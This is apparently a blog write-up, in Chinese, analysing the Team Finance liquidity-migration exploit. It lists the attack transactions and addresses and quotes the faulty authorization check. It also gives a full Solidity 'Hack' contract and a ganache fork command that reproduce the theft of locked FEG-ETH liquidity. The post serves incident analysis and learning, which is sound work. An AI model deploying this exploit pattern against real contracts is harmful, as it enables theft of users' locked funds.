team finance锁定的交易对的从v2迁移v3过程中, 因为检查不当导致构造利用任意的交易对可以迁移其他交易对。
0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f
0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce
0xCFF07C4e6aa9E2fEc04DAaF5f41d1b10f3adAdF4
0x161cebB807Ac181d5303A4cCec2FC580CC5899Fd
0xEB2423fBeb5d94Cd83136A74341a39a2487Fb3cb
准备工作
0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f
准备工作做了两个事情
1、获取交易费用
2、锁定Token 0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF 获取锁定id 15324

攻击过程
0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce
通过调用Team Finance Lock的migrate,将之前准备好的id传入迁移参数。这个过程中迁移了1%的锁定FEG-ETH,然后将剩余的99%代币转换为ETH转入攻击者的第二个地址0xEB2423fBeb5d94Cd83136A74341a39a2487Fb3cb

参数如下
(_id=15324, params=(pair=[Uniswap V2: FEG], liquidityToMigrate=15000000000000000000000, percentageToMigrate=1, token0=0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF, token1=[Wrapped Ether], fee=500, tickLower=-100, tickUpper=100, amount0Min=0, amount1Min=0, recipient=0xBa399a2580785A2dEd740F5e30EC89Fb3E617e6E, deadline=1666859863, refundAsETH=true), noLiquidity=true, sqrtPriceX96=79210883607084793911461085816, _mintNFT=false)
/**
* migrate liquidity from v2 to v3
*/
function migrate(
uint256 _id,
IV3Migrator.MigrateParams calldata params,
bool noLiquidity,
uint160 sqrtPriceX96,
bool _mintNFT
)
......
{
//检查管理员地址,和本次攻击无关
require(address(nonfungiblePositionManager) != address(0), "NFT manager not set");
require(address(v3Migrator) != address(0), "v3 migrator not set");
//检查锁定token时长,这里可以构造
Items memory lockedERC20 = lockedToken[_id];
require(block.timestamp < lockedERC20.unlockTime, "Unlock time already reached");
//检查迁移调用者为锁定token的提币地址,问题出在这里,原本应该检查FEG锁定的情况,这里只检查了传入id的所代表的token情况,引发了漏洞
require(_msgSender() == lockedERC20.withdrawalAddress, "Unauthorised sender");
require(!lockedERC20.withdrawn, "Already withdrawn");
......
毕竟没写过solidity,乱七八糟的写了写,复现了下攻击。
首先用ganache还原到攻击前的高度15837892,并解锁攻击者的地址
ganache-cli --fork.url https://eth-mainnet.g.alchemy.com/v2/key -h 0.0.0.0 --fork.blockNumber 15837892 -n -u "0x161cebB807Ac181d5303A4cCec2FC580CC5899Fd"
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IV3Migrator {
struct MigrateParams {
address pair; // the Uniswap v2-compatible pair
uint256 liquidityToMigrate; // expected to be balanceOf(msg.sender)
uint8 percentageToMigrate; // represented as a numerator over 100
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Min; // must be discounted by percentageToMigrate
uint256 amount1Min; // must be discounted by percentageToMigrate
address recipient;
uint256 deadline;
bool refundAsETH;
}
}
interface LockToken {
function getFeesInETH(
address _tokenAddress
) external returns (uint256);
function lockToken(
address _tokenAddress,
address _withdrawalAddress,
uint256 _amount,
uint256 _unlockTime,
bool _mintNFT
)external payable returns (uint256 _id);
function migrate(
uint256 _id,
IV3Migrator.MigrateParams calldata params,
bool noLiquidity,
uint160 sqrtPriceX96,
bool _mintNFT
)external payable;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
}
contract Hack {
address public owner;
address public constant LOCKTOKEN = 0xE2fE530C047f2d85298b07D9333C05737f1435fB;
address public constant FAKETOKEN = 0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF;
address public constant UniswapV2Paire = 0x854373387E41371Ac6E307A1F29603c6Fa10D872;
event Deposit(uint256 id);
event GetFeesOver(uint256 num);
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner() {
require(msg.sender == owner, "not owner");
_;
}
function getFeesInETH(address tokenaddress) external returns (uint256 fees){
fees = LockToken(LOCKTOKEN).getFeesInETH(tokenaddress);
emit GetFeesOver(fees);
}
function lockToken(uint256 locktime, uint256 amount) external payable onlyOwner returns (uint256 _id){
uint256 fee = LockToken(LOCKTOKEN).getFeesInETH(FAKETOKEN);
emit GetFeesOver(fee);
_id = LockToken(LOCKTOKEN).lockToken{value: msg.value}(0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF, address(this), amount, locktime, false);
emit Deposit(_id);
}
function hack(uint256 id) external onlyOwner {
uint balanceOfFEG = IUniswapV2Pair(UniswapV2Paire).balanceOf(LOCKTOKEN);
IV3Migrator.MigrateParams memory param = IV3Migrator.MigrateParams(UniswapV2Paire, balanceOfFEG, 1, 0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, 500,-100,100,0,0,address(this),1669826489,true);
//LockToken(LOCKTOKEN).migrate(id, param ,true, 79210883607084793911461085816, false);
LockToken(LOCKTOKEN).migrate(id, param ,true, 79210883607084793, false);
}
event Received(address Sender, uint Value);
receive() external payable {
emit Received(msg.sender, msg.value);
}
}
这次漏洞的代码比较简单,只是因为鉴权不当导致资产损失。有些感悟可以凡是涉及到资产调用的合约代码,查看其信息流是否可控完成漏洞攻击。
solidity的代码还是要多写,各种函数属性都会不是很熟悉。
